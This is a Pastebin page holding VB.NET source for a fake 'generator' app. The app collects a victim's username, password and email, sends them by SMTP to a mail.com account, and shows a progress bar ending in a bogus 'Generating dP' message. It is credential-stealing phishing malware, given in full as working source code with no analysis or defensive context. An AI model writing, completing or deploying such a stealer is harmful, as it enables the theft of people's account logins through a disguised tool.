Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form1
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- End Sub
- Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
- End Sub
- Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
- End Sub
- Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged
- End Sub
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Timer1.Start()
- If TextBox1.Text = "" Then
- MsgBox("Username Is Missing")
- ElseIf TextBox2.Text = "" Then
- MsgBox("Password Is Missing")
- ElseIf TextBox3.Text = "" Then
- MsgBox("Email Is Missing")
- End If
- Dim mail As New MailMessage()
- Dim smtpServer As New SmtpClient()
- smtpServer.Credentials = New Net.NetworkCredential("email", "pass")
- 'using mail.com
- smtpServer.Port = 587
- smtpServer.Host = "smtp.mail.com"
- smtpServer.EnableSsl = True
- smtpServer.EnableSsl = True
- mail = New MailMessage()
- mail.From = New MailAddress("email")
- mail.To.Add("email")
- mail.Subject = "Username: " & TextBox1.Text
- mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text & ", " & " Email : " & TextBox3.Text & ""
- smtpServer.Send(mail)
- End Sub
- Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
- End Sub
- Private Sub RadioButton1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton1.CheckedChanged
- End Sub
- Private Sub Label4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label4.Click
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- ProgressBar1.Increment(5)
- If ProgressBar1.Value = 100 Then
- Timer1.Stop()
- End If
- Label5.Text = ProgressBar1.Value & (" %")
- If Label5.Text = 100 & (" %") Then
- MsgBox("Generating dP, Please check in a few minutes. *this process can be delayed*")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement